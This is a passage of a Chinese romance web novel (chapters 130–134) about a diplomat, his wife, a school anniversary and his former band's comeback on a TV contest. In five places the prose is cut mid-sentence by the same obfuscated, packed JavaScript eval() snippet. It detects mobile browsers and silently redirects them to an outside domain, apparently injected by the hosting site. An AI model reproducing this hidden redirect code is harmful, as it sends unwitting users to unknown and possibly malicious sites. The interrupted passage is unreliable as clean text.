“鼓手兼主唱,很少见的搭配,可以说说为什么选择这种搭配吗?” “因为……我们队的其他人唱歌都很菜。” 队内其他四人齐刷刷地点头。 “……所以是被迫的?” “嗯。” “……” 底下的观众哄声笑了。 没达到预想的煽情目的,节目组的导演在场外急得团团转。 在邀请他们上这档节目之前,节目组就做了基本背调,于是导演在耳麦里朝导师喊道:“陈老师,你问他,乐队名为什么要叫FIRST,有什么特殊含义吗?” 陈导师复读。 听到这个问题,柯以沉默几秒,看向镜头,依旧面无表情,字字铿锵地道:“因为我们想做世界一流的音乐。” 杨导师有些意外,开玩笑地道:“我以为你会说,因为你们想成为这档节目的第一名。” “还好。”柯以语调淡淡的,“你们这个节目也没什么含金量。” “……” 哥,你说话有点太老实了。 “而且,曾经有人跟我说过,音乐是一种交流,而从不是一种竞争。” 他直直望向镜头:“不过我仍然会带领FIRST乐队拿到这档节目的第一名。” “我会证明,九年前,他做了一个极其错误的决定,我一定——要让他后悔。” 柯以眼底带着淡淡的挑衅,似乎是试图透过镜头,跟某位好久不见的故人对话。 而在镜头外,傅斯灼刚刚结束了一场跨国会议,眸光带了几分疲惫与冷淡。 与台上带着几分桀骜风光的青年形成鲜明的对比。 严肃的,正经的,很难想象他们曾经是一路人。 他站在沙发后看着这一幕,薄唇轻抿,神色波澜不惊。 沈珠楹终于回过神来,下意识地转头看了过去。 “傅斯灼。”沈珠楹赶忙把电视机关了,轻声问他,“你什么时候过来的?” “来了有一段时间了。”傅斯灼若无其事地走过来,掐着她的腰,让她坐他腿上,然后低声问,“今天中午想吃什么?” 那就是都看见了? 沈珠楹悄然泄出一口气。 她其实认出来,台上那名青年,是以前FIRST乐队的贝斯手,但是除了他,好像乐队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268506|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的其他人……都已经变成了生面孔。 “傅斯灼,你现在心情怎么样?” 傅斯灼沉默片刻,说:“我现在的心情……还好。” 他以为他的心情会有很大的波动,但事实上就是……还好。 如同死水微澜。 或许时间真的会磨平曾经的热爱与意难平。 沈珠楹“哦”了声,随即毫不客气地开始点菜:“我要喝墨鱼排骨汤,还有炒腊肠,蒸熊糕,蒸鹿尾……” 傅斯灼很给面子地笑了,说沈珠楹,你这个梗…… “怎么了?”沈珠楹凶巴巴。 傅斯灼识趣转了话题:“……还有别的吗?” “没有了。” 沈珠楹埋进男人怀里,半晌,她开始雀跃地跟他聊过几天的附中校庆。 “傅斯灼,你那天穿一件旺仔上衣,紧身裤,豆豆鞋去京北附中参加吧?” 傅斯灼已经习惯她跳脱的脑回路了,闷声笑着,问:“为什么?” “你不知道,高中那会儿有好多人都喜欢你,所以你要打扮得……嗯……比较有碍观瞻,让她们的幻想破灭才行。” “但是……”傅斯灼脸色有几分为难,“我穿成那样,不会丢你的脸吗?” “会啊。”沈珠楹苦恼蹙眉,“那怎么办?” “宝宝。”傅斯灼低声诱哄着,说,“我们可以穿情侣装。” —— 再次回到京北附中,沈珠楹心底有股说不清道不明的感觉。 京北附中其实离华大也不远,不过毕业后的很长一段时间,沈珠楹都会乐此不疲地跟朋友们一起去逛华大的操场,却很少在附中门口稍作停留。 大概是因为,对于沈珠楹而言,这是一段少有的,让她觉得荒芜的岁月。 她也是在后来才猛然发觉,其实她可以更勇敢一点,在高中的时候就跟傅斯灼产生交集,不一定是谈恋爱,至少他们,可以成为普通同学,好过如今茫然地等待。 好吧…… 其实以上理由,都是沈珠楹瞎编的,真实的原因是…… 京北附中的保安大叔实在是太尽职尽责了,她根本找不到机会偷偷溜进去。 第130章 一见钟情 两人走入会场,远远看见李清雯正亲**挽着温慕葵的胳膊聊天,而祁舟臭着一张脸站在一旁。 沈珠楹眼睛一亮,果断道:“傅斯灼,你等一下还要作为优秀毕业生代表上台演讲吧?” 傅斯灼:“我时间上还……” 来得及。 傅斯灼还没说完,她便迫不及待地甩开他的手,撒了欢儿似地往温慕葵那里跑。 “那你快去吧,别在我这里耽误时间了!” 她也要和校花姐姐贴贴! 傅斯灼:“……” 他站在原地冷静两秒,抬步走了过去。 而祁舟眼睁睁地看着温慕葵另一只胳膊也被搂住,面无表情地扯唇,用眼神质问傅斯灼——“你能不能管好你老婆?” 傅斯灼无奈耸肩。 而此时的沈珠楹像只小狗一样往温慕葵身上嗅,眼睛亮亮的,夸道:“温姐姐,你身上好香啊,用的什么牌子的香水?” “珠珠,你对我好厚一层滤镜。”温慕葵哭笑不得,“这就是医院的消毒水味,你身上才是香香的。” 这回不等祁舟开口,傅斯灼首先忍不了了。 他拎着沈珠楹的领子,让她老老实实站好。 很快他们这边来了校领导过来寒暄,傅斯灼跟祁舟自然而然地出面应付。 过了差不多半小时,人员来齐以后,学校领导开始了一如既往,假而空的大话。 沈珠楹在底下听得昏昏欲睡,脑袋悠闲搭在傅斯灼肩膀上,一晃一晃地,百无聊赖地打了个哈欠。 直到台上传来一句——“下面有请我校优秀毕业生代表傅斯灼上台讲话。” 沈珠楹“唰——”一下,人立马清醒了,她马上坐正。 全校人的目光齐刷刷往这边投过来。 沈珠楹:“……” 她默默捂脸。 都怪傅斯灼,早就催他早点去候场的,偏要拖到现在。 这下好了…… 眼瞧着傅斯灼面不改色地起身,姿态悠闲地上台,沈珠楹在心底默默感叹。 不愧是外交官,脸皮就是厚。 她真是拍马难及。 男人一身简单的卫衣黑裤,身姿挺拔高大,在这种略显正式的场合,这么远远看过去,妥妥一个清爽男大。 他讲话幽默风趣,针砭时弊,原本在底下无聊玩手机的校友们,不管男女,都不自觉抬起头,脸上带着笑,认真听他讲话。 很快,讲话结束,到了问答环节,台下的手一个个举起老高,看着密集恐惧症都要犯了。 主持人抹了把汗,提前声明道:“各位校友们,时间有限,最多还问我们傅司长三个问题,就要进入下一个环节了哈。” 傅斯灼环视一圈,注意到人群中,一个女生的手举得老高,看上去异常积极。 好像是……珠珠的朋友? 傅斯灼轻轻挑眉,挑中她回答。 “请问傅司长——”黄奕萱兴奋地摇了摇脑袋,问,“请问您跟您太太,是谁先追的谁啊?” 傅斯灼愣住片刻,很快反应过来,看向底下已经缩成鸵鸟的某人,笑着说道:“是我先追的我太太。” “我对我太太,是一见钟情。” “芜湖——” 底下起哄声渐起,黄奕萱得到了想要的效果,满意地点点头,交还了话筒。 哼哼,这下我看学校论坛的那些人还怎么逼逼赖赖,每天闲着没事干,光到处造谣了。 底下氛围还很火热,拿到话筒的第二个女生也趁着这股沸腾的气氛,再接再厉地问:“那您的意思是,是您先对您太太动心的,对吗?” 这话一出,底下有人开始抱怨。 “这问的什么废话啊,不是先动心的话,怎么可能先追求,浪费了一个问题啊!” “啊啊啊啊啊,提问资格给我该多好,我想问问傅司长保养的秘诀是什么,为什么二十七岁的男人,穿件卫衣像二十岁男大。” 抱怨一出,再加上傅斯灼迟迟没有开口说话,提问的女生也开始有些踟蹰不定,她改口道:“要是您不方便回答的话,我也可以换一个问题。” “这的确涉及到我的一些隐私……”傅斯灼沉吟片刻,开口这么回。 他当然不可能,擅自将隐秘的少女心事曝光在阳光底下。 只是今天天气确实不错。 傅斯灼笑了一下,带点遗憾地道:“附中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268507|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天鹅湖边,仲夏夜,也很适合一见钟情。” 可惜那晚的月亮太害羞了,让他没看清她通红的脸。 台下的领导一听这话,脸都绿了,却偏生屁也不敢放一个。 我们京北附中适合学习,学习!!!不适合一见钟情!!! 最后一个问题,台下,一个戴着黑色鸭舌帽的青年高高举起手。 傅斯灼看他一眼,轻叹口气,抬手请他回答。 青年起身,摘了鸭舌帽,露出一头标志性的狼尾。 他语气带了几分凉意:“想问问傅司长,为什么会选择成为一名外交官?” 傅斯灼沉默片刻,说:“如果你问我现在的话,我很热爱这份外交事业。” “从没后悔过吗?” “没有。” 柯以哦了声,觉得好没意思,又戴上鸭舌帽,转身离开了。 当年FIRST乐队五个人,从傅斯灼提出要退出乐队开始,几乎每隔两年,就会有人坚持不住要离开,到现在,乐队的初始成员,就只剩下他一个人了。 所以还坚持个屁啊,柯以,根本都没人在意。 而傅斯灼在台上,望着青年离去的背影,几秒后,移开了目光。 —— 校庆结束以后,时间已经来到了傍晚。 李清雯搂着沈珠楹和温慕葵,兴致勃勃地去了附中门口的那条小吃街,这里搜罗点吃的,那里搜罗点吃的。 傅斯灼和祁舟则不紧不慢地跟在三人后面,一个负责提东西,一个负责结账。 中途温慕葵接到一个医院急救电话,脸色便陡然变了。 祁舟开车送她去了医院。 李清雯挽着沈珠楹的手臂感慨道:“难怪都说劝人学医,天打雷劈。” “这种工作强度,还二十四小时待命,可不天打雷劈嘛。” 两人这会儿正悠闲地在附中的操场散步。 傅斯灼则临时接了一个工作电话。 “珠珠,我给你拍张照吧?”李清雯突然开口,跃跃欲试地道。 可能这就摄影师的通病,随时随地想给人拍照。 沈珠楹没怀疑些什么,只点点头,笑着说了句好。 第131章 早恋? 她手上刚好拎了罐傅斯灼给她买的橘子汽水,背后是盛大的夕阳,眉眼弯弯的,面对着镜头比了个“耶”。 拍了好几张,沈珠楹脸都快笑僵了,终于忍不住问:“雯雯姐,你好了没有啊?” “好了。”李清雯走过来,将照相机递给她,问,“喜欢吗?” “喜欢。” 沈珠楹拿过相机,正想看看还有没有其他更好看的照片,相机就被李清雯以迅雷不及掩耳之势给夺走了。 ”喜欢就好。”李清雯掩饰性地摸了摸鼻子,慌忙道,“我到时候发给你嗷。” 她背着相机,突然转过身,哼哧哼哧地跑了,仿佛身后有野兽在追。 沈珠楹一脸茫然:“你跑什么啊雯雯姐?” “我工作室临时接了个大单,就不陪你散步了,再见!!!” 沈珠楹:“……” 好突然的大单,以及,雯雯姐不愧是在非洲拍狮子的女人—— 跑得真快。 沈珠楹正这么感叹着,肩就被搂住,熟悉的凛冽气味将她笼罩。 “傅斯灼。”沈珠楹仰头冲他笑了,“你今天打电话的时间这么短啊?” 傅斯灼低低嗯了声,顺势跟她十指相扣。 “走吧,去散散步。” 这个时间点,操场上的人很多,火红的夕阳几乎覆盖了大半边天。 沈珠楹吹着晚风,牵着傅斯灼的手,漫无目的地想,很奇怪,好像学生时代的每一次晚霞,都格外漂亮。 “我都没想过,会手牵着手,跟你一起在附中散步欸,傅斯灼。” 傅斯灼轻轻摩挲着她的手,眼底带着几分浅浅的笑意,轻声回:“可是我想过,手牵着手,跟你一起在附中散步欸,沈珠楹。” “真的吗?” “真的啊。” 沈珠楹语气尽量保持淡定,可惜嘴角上扬的弧度泄露了她的心情。 以及—— 她幼稚地牵着他的手晃啊晃,弧度越来越大,像是……抢到了糖果,忍不住摇着尾巴炫耀的活力小狗。 傅斯灼没忍住,笑出了声。 安静片刻,沈珠楹听到傅斯灼在轻轻哼歌。 “我们手牵着手向前走,从来没有想过会回头,或许在那个路口,我就该向右,却跟着你一起走到尽头……” 男人的声音与十年前没有什么区别,声音清朗又有少年感。 他漫不经心地,低低哼唱着,不知怎么,沈珠楹听着,心跳越来越快。 “我再也找不到曾经的自己,遇见你以后生活重新定义,历经百般洗礼,却换来百感交集,或多或少我无能为力……” 或许是因为周围十六七岁,脸上洋溢着青春活力的少年有点多,他此刻低声唱着歌,眼底难得带了几分稳重与意气风发。 沈珠楹也安静下来,跟着节奏,慢慢打节拍。 不知不觉,夕阳奋力洒下最后一丝余晖,天色暗了。 两个人手牵着手,几乎逛遍了校园每一个角落。 中途他们找了一个不起眼的小角落,听着教室里老师严肃无聊的讲课声,偷偷接了一会儿吻。 沈珠楹当时闭着眼睛,眼睫轻颤着,心跳声急促而又热烈。 她听着那老师的声音,不知怎么,总觉得耳熟,于是便分出心神当心去听。 应该是语文课,老师在讲苏轼的《定风波》,她的声音慢悠悠的,充满古典韵味。 她念:“竹杖芒鞋轻胜马,谁怕?一蓑烟雨任平生。” 是什么意思来着? 正思考着,唇瓣便被男人恶狠狠地咬了一下,沈珠楹呼痛,抬眼便对上了男人的琥珀色的眼睛。 在冷白的路灯下,男人的眸色透亮,含着显而易见的不满。 “宝宝不够专心。” 他扶住她的后脑勺,再次深深吻了下去,夺走她的全部注意力和心神。 “欸欸欸——,你们哪个班的,躲在这个地方嘬嘬嘬……” 一道刺目的白光骤然照到了两人的脸上,傅斯灼立马转身,将沈珠楹整个护进怀里,眸光微冷。 “看什么看?”保安大叔手里拿着巨无霸手电筒,毫不畏惧地照在傅斯灼身上,瞪眼道,“嘿,你个小兔崽子,早恋还有理了?” “保安大叔,我们毕业了啊,今天是来参加校庆的。”沈珠楹抬起白嫩嫩的小脸蛋,弱弱道。 “就你?”保安狐疑地盯着沈珠楹那张脸看了一会儿,随即冷哼一声,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268508|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十八岁都没满吧?还敢冒充二十来岁的大人。” “少废话,跟我去教导处把手续办了,少跟我耍这些幺蛾子,像你们这种十七八岁的早恋小情侣冒充大人的把戏,我见多了。” “别想着能骗过我。” 傅斯灼冷着眉眼,正要开口,沈珠楹就用胳膊肘杵他一下,朝保安大叔笑得明媚又灿烂。 “好的大叔,我们马上就去教导处写悔过书,请家长过来。”过了几秒,她又一脸羞怯地确认道,“我看上去真的只有十七八岁吗?” 保安大叔冷嗤:“那不然呢?” 于是沈珠楹半强迫地拉着傅斯灼,笑眯眯地去教导处做了登记。 两人去了教导处。 教导处主任一看见傅斯灼搂着沈珠楹,一脸淡定地被“押送”过来,整个人懵了。 他是亲眼看着傅斯灼上台演讲的。 保安大叔仰头,挺胸,准备接受表扬。 “主任,抓到一对早恋的情侣!他俩偷偷在小树林里嘬嘬嘬。” 眼瞧着傅斯灼冲他淡淡点头,教导处主任两眼一黑,恨不得当场掐人中抢救。 我滴老天爷欸! 听教导处主任解释了好几遍,保安大叔这才相信自己真的搞错了,在领导面前臊红了脸,赶忙好声好气地道了歉。 “欸,你看我这年纪大了,眼神也不好,还麻烦你们俩陪着我跑一趟。” “没事的,大叔,你要相信自己的眼光。” 沈珠楹喜滋滋。 她看上去就像十八岁呀。 出了教导处,沈珠楹背着手,仰着头,慢悠悠地在傅斯灼面前倒着走路,得瑟地摇摇头道:“看来我今天这个‘大学生清透妆’化得很成功啊。” 傅斯灼轻扬眉梢,哑然失笑。 两个人无知无觉地就走到了天鹅湖。 沈珠楹“唔”了一声,说:“傅斯灼,你还记得吗?当年你就是在这儿,问我还有没有一枝石榴花。” “是吗?”傅斯灼语调慢悠悠。 “是啊!”沈珠楹语气有点着急,“你不记得了啊?” “不是特别清楚了。”傅斯灼垂着眼眸,极尽温柔看向她,“要不……傅太太重新演示一遍?” 第132章 抓住你了 沈珠楹瞪他一眼,小声嘟囔了一句。 “笨**,傅斯灼。” 她后退几步,然后略微低下头,像只小牛犊子一样冲进他怀里,这回她抱住了他的腰,熟稔地蹭了蹭,嘴上还在喋喋不休。 “就是我不小心撞到了你,然后手里抱着一束石榴花,石榴花就洒出来了呀,不过傅斯灼你那时候就开始健身了吗?为什么当时胸膛这么硬啊?” 她一边这么说着,一边把手伸进男人的卫衣里,漫不经心地摸了一把腹肌,没心没肺地笑了。 再然后她抬起头,发现傅斯灼手上不知道什么时候捧了一大束石榴花,正似笑非笑地盯着她看。 “宝宝……”他语气有点无奈。 “……好哦。”沈珠楹眨了下眼睛,默默把到处作乱的手收了回来,脸上悄然透出一抹薄红。 “你的石榴花,沈同学。”他捧着一大束火红的石榴花,递给她时,扯了下唇,笑得温柔热烈,一如往昔。 “当年冒昧地找你要了那枝独一无二的石榴花,现在回赠你九十九枝。” 他说宝宝,但是还是你这枝独一无二的石榴花最珍贵。 沈珠楹愣在原地。 安静几秒,她接过那一大束石榴花,默默把自己的脸挡住了。 “好烦啊,傅斯灼!” 她声音有几分懊恼。 怎么她的色狼属性爆发得这么不是时候,把整个氛围都破坏掉了! 她转身想跑,却被男人攥住了手腕,轻轻一拉—— 他们隔着九十九枝石榴花,有了一次不远不近,不算暧昧的拥抱。 “抓住你了,花精灵。” 她听到他轻声说。 “傅斯灼……” 沈珠楹垂下眼睫,眼眶里的泪滴溜滴溜打转,最终悄无声息地流了下来。 好吧,其实她从不感到懊恼。 她刚刚只是有点想哭,才会用石榴花挡住脸。 那束石榴花在家里最显眼的地方摆了两天后,最终被做成了书签。 九十九张书签,中途沈珠楹做了二十几张就懒得做了,全部推给了傅斯灼。 其中一张石榴花书签被沈珠楹夹在了那本《撒哈拉故事》的书里面,随即被放入了书架上。 还有一张石榴花,傅斯灼将它夹在了那本数学错题册里,一新一旧两张书签,泛黄的程度有着明显的不同。 但终究会被时间染成相同的颜色。 傅斯灼始终相信,并期待这件事。 —— 日子很快过去,很快就将迎来除夕,京北市的大街小巷都挂满了喜庆的红色。 沈珠楹觉得傅斯灼最近有点奇怪,但又说不上来哪里奇怪。 她正低着脑袋剪花,动作干脆利落,脑子里却在凝神思考傅斯灼最近让她觉得怪怪的地方。 花店正中央的电视上正在播放综艺《青春乐队》。 二零二五年的冬天,FIRST乐队的队长柯以带着他的四名队员重新杀回了大众视野,一路过五关斩六将,挺进了决赛。 柯以此人,作为FIRST乐队的鼓手兼主唱,更是以过硬的实力和独特的冷幽默迅速走入了大众视野,一炮而红。 与此同时,FIRST乐队的爆红,带火的还有另一个人——FIRST。 此人常年出现在作词和作曲栏,却从未被爆出过真实姓名。 不出意外的话,他应该还是FIRST乐队的第一任队长。 又有人扒出FIRST乐队早年间的一个微博账号,账号上大概有将近一百万粉丝,平日里会分享一些翻唱或者乐队原创歌曲。 乐队的全部成员,包括FIRST,都没有露过脸,颇具神秘色彩。 导演组当然不会放过这次抓热点的机会,多次旁敲侧击,想要问出点什么,可惜柯以此人嘴比几把硬,到后面更是一个冷淡的“嗯”字走完全程。 乐队的人更是一问三不知,提起这个名字时比导演组还茫然。 FIRST,难不成还真有这么一个人? 哦,好像是有的。 可是队长每回提起这个名字,平日里**脸一般的表情都会绷不住,咬牙切齿的,嘴巴里什么脏话都骂出来了。 就比如此时。 乐队的成员们刚刚取得了半决赛的胜利,正聚在一块儿喝啤酒,吃烤串,聊音乐,聊梦想,天南海北的,总归是终于充满了希望。 只有柯以坐在一旁喝闷酒,眼神有点冷淡麻木,不知道在想什么,嘴里还小声嘟囔着。 离他近一点的某个队员顺便也听了几句,笑着说:“队长,你怎么又在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268509|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂你前……前前前队长,他是做了什么伤天害理的事,让你这些年追着他骂。” “FIRST不会是抢了队长的女朋友吧?不对啊,队长明明是母胎solo啊。” 这些年听着柯以骂他,几个人也不知道他的真名,只知道他代号FIRST。 “那还真说不准,每年这么锲而不舍地骂,我感觉只有可能是夺妻之恨。” 柯以仰头喝了一口啤酒,没好气地叫他们滚。 很快,他微信铃声响了,“叮咚——”一声。 柯以随意瞥了一眼。 【辫儿弟】:诶呦,刚刚才看到我们老幺带领FIRST乐队进决赛了?不错,有进步。 柯以眼眶瞬间红了。 他没好气地开始啪嗒啪嗒打字。 【kkk】:不是说坚持不下去,要回去奶孩子了吗?还关注这个干嘛? 【辫儿弟】:奶孩子也不耽误我看综艺啊,给你看看我家孩子的照片。 【辫儿弟】:[图片] 【kkk】:别问了,不能当男模。 【辫儿弟】:…… 【辫儿弟】:欸,愁人,这孩子随我,不过老大的孩子应该能当男模,你最近跟老大,还有联系吗? 【kkk】:**才跟他联系。 正聊着天,又**来一条消息。 【死耗子】:可以啊,老幺,你现在混得真不错,都进决赛了,奖金不少吧。 【kkk】:一般,没你炒股亏得多。 【死耗子】:听说决赛的冠军奖金更多?加油吧,拿了冠军,钱分兄弟一半。 【kkk】:**才分你一半,跟你有个屁关系。 正跟这两个人聊着天,又有一个给他发了消息。 其实自从乐队解散以后,他们也已经很久不联系了,好像曾经喧嚣着的,伟大的友谊,也随着那天的夕阳一同落下。 不过这会儿不知道怎么了,都颇为默契地选择在时间点联系他。 【死胖子】:老幺进决赛了?加油,没钱了哥给你赞助。 【kkk】:你拿什么给我赞助,不是做养猪场吗? 【死胖子】:害,快了快了,你等着那一天哈。 【kkk】:我等,等你养的猪成了精上社会新闻。 第133章 敬未来 【死胖子】:嘿呦臭小子,你这嘴!当年也就老大能治治你。 柯以冷下脸。 【kkk】:能别提他了吗? 【死胖子】:你要这么说话我就不高兴了,这么多年了,老大真没什么对不住咱们的地方。 柯以盯着这句话看了许久,半晌,仰头抓了把头发。 没什么可反驳的。 如果让柯以来评价的话,他也仍然会认为,傅斯灼是一个很可靠的队长。 组队初期,最难的那三年,都是靠他一个人撑起来的。 那些年,拉赞助,找舞台,租借场地,还有平常各种各样的琐事,几乎都被他一个人包办了,他各方面的能力很强,经常让人忘了他当年也才十六岁,也还要兼顾学业。 这也是为什么,明明他年纪在队里偏小,却能让其他年龄二十岁往上,性情迥异的队员们心甘情愿地喊了他这么多年的老大。 没办法,实力还是其次,傅斯灼那个人,一提起他,就会想到他强大的人格魅力。 柯以只比他小一岁,但一直以来,都拿他当偶像,想要成为一个,像他那样的人。 乐队才成立一年多,他就带领他们,硬生生闯出了一定的知名度,还积累了不少粉丝。 那年,FIRST乐队的所有人,都对他有一股近乎盲目的崇拜和狂热。 这种狂热,在2015年的夏天,乐队发行的其中两首歌火了之后,达到了顶峰。 只要再坚持下去,就是光明灿灿的未来。 几乎所有人都坚信这件事。 但也是那年,他一脸冷静地提出,要退出乐队。 柯以的第一反应是不相信。 怎么可能呢? 就算乐队里的其他成员都走光了,傅斯灼只靠他自己,也能组成一只乐队,也永远不会放弃。 他们的队长,明明应该是这样才对。 但事实如此,也容不得辩驳。 傅斯灼的确是一个很合格的队长,走之前留下来所有他原创的词和曲,说版权归乐队所有,随他们处置。 同时留下的,还有大量的资金,人脉和场地。 一条成名的道路已经替他们铺好了,留下来的他们,只要走上去就行。 但没人愿意踏上去。 所有人都不理解,所有人都对他有怨。 桌子被拍得砰砰作响,他们把难听的话对曾经最崇拜的队长,说了个遍。 再后来,柯以眼睁睁地看着以前一起并肩作战的伙伴们,因为现实生活中的种种原因,一个一个地离开。 柯以也慢慢从所有人的老幺,变成了所有人的队长。 “队长,决赛马上要开始了,我有点紧张,咋办?” 舞台上,上一组乐队的表演马上就要接近尾声。 《青春乐队》决赛以直播的形式,在鸟巢举行,近两万名观众坐在台下,发出了震耳欲聋的尖叫声。 FIRST乐队上场倒计时,还有——最后三分钟。 就在几分钟前,柯以收到了FIRST乐队其他三个人的加油短信。 柯以听着底下那些人排山倒海的欢呼声,心里也没底,一刻不停地刷新手机信息,手没抖,倚靠在墙边,腿悄悄地在黑暗中打摆子。 “不行啊,老大,我好紧张,想去撒个尿。” 说话的是队里如今的老幺,刚满十八岁的年纪,此刻紧张得面色发白,尿都有点憋不住了。 柯以瞥他一眼,腿继续打摆子,面上却很淡定:没出息,这才哪儿到哪儿啊,不准尿,憋着。” “老大……,你之前都是怎么缓解紧张的啊,我真的好紧张,喘不过气了。” “我啊……” 柯以正要说话,手机就“叮咚”一声,响了。 他几乎是下一秒就低头看去,随即眼眶就红了。 【队长】:决赛加油。 妈的,九年了,终于让他等到了。 靠! 他就知道他能等到! 柯以揉了下眼睛,不知道为什么,心里一下就有了底。 他突然就想起了高一那年,附中的烟火晚会,他们乐队第一次上台表演,当年他也说紧张,队长是怎么安慰他的来着? 好像是—— 柯以如今作为队长,同样拍了拍老幺的肩,说:“别紧张,你就把台下的人,都想象成一枝石榴花。” 老幺此时憋尿憋得脸色发红,腿开始打摆子:“队长,我没见过石榴花啊,能不能把他们都想象成……小便器。” 柯以:“……随便。” 舞台上,主持人开始报幕。 距离FIRST乐队上场,倒计时——一分钟。 柯以环视了一圈,神色有几分复杂。 年轻的,跃跃欲试的,新鲜的面孔。 他的新队友们。 来吧! 柯以沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268510|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“FIRST乐队,全体都有——” 年龄最小的队员最先伸出手,声音青涩又坚定。 “——敬音乐!” “——敬青春!” “——敬梦想!” “——敬自由!” 柯以最后把手放上去,再次环视一圈,顿住几秒。 “——敬未来。” 灯光亮起,舞台上,FIRST乐队五名队员准备就绪。 而傅斯灼仰头看去,脊背仍然挺拔,眸光安静又沉稳。 花店正中央悬挂着的电视屏幕上,正在直播《青春乐队》的最后一场音乐表演。 屏幕右下方,字幕缓缓浮现。 歌曲:《敬未来》 作词:FIRST 作曲:FIRST 编曲:FIRST乐队 主唱:柯以 吉他:陈承 贝斯:郭泽清 鼓:柯以 键盘:陈志远 沈珠楹走过去,与傅斯灼并肩而立,安静地牵着男人的手,与他十指相扣,也仰着头,默默地看直播。 这天临近除夕,花店里挤满了人,有人正低头插花,有人坐在原木椅上看书,还有人买了一杯咖啡,正低着头处理工作。 都在一声清脆的鼓响后,偏头看过去。 小春和小桃听不到声音,也仍然好奇地抬起头,想看看珠珠老板那么认真地,是在看什么呢? 舞台上,柯以戴好耳返,转动鼓棒,握着话筒开始唱。 “粉笔灰落在第三排窗口 折纸飞机穿过钟楼 我们抱着书本在走廊奔跑 蝉鸣声推着云朵向前游 橡皮擦改不掉时光褶皱 考卷下藏着整片宇宙 敬未来一杯橘子汽水 气泡里炸开十六岁的无畏 当流星划破自习室的窗帷 我们约好要成为宇宙与银河 敬岁月一捧月光如水 倒映着秘密基地的野蔷薇 就算明天被大雨淋湿墙角 掌心的温度还停在初见那刻的晨晖 当现实把棱角磨成鹅卵石 我们依然在暴雨里写诗 用自行车链条丈量城市 把叹息折成纸船顺流而驰 看啊漫天星子正在春天发芽 长成我们嘴角漂亮的星花” 第134章 樱桃椰奶冰 一曲完毕,傅斯灼移开眼,没再看这场比赛最后的投票结果,反而垂眸看向沈珠楹。 “宝宝,我们再去华大走一圈吧。”他轻声说。 “好啊。” 于是打完烊,两个人又再一次来到华大。 大约是临近除夕,大学生都回了老家,大学城周边的美食店生意很冷清,两个人边走边逛边吃,一路走走停停,不自觉又走到了上回的那家板栗鸡,老板仍然在里面忙忙碌碌。 沈珠楹此时已经吃饱了,但是没有人能拒绝一顿板栗鸡。 于是她眨巴着大眼睛看向傅斯灼。 傅斯灼戳了颗姑娘没吃完的章鱼小丸子扔嘴里,一脸淡定地开始背锅:“走吧,我想吃板栗鸡。” 于是沈珠楹兴高采烈地跑进了店里。 “大叔!来一份板栗鸡,中辣!” “诶呦,珠珠,又跟老公过来了呀!” 老板一看见是她,笑呵呵地应下了。 中途傅斯灼出去接了个电话,再进店的时候,他手上就莫名多出来了一盘樱桃椰奶冰。 沈珠楹一眼就看出来,是在她大学时期常跟朋友去的一家饮品店买的。 不过……她记得这款冰因为销量不好,早就下架了呀。 沈珠楹拿出勺子舀了一口进嘴里,满足眯眼,眼睛亮亮地看向他:“傅斯灼,你怎么知道我爱吃这款冰?” “也许是……心有灵犀?” 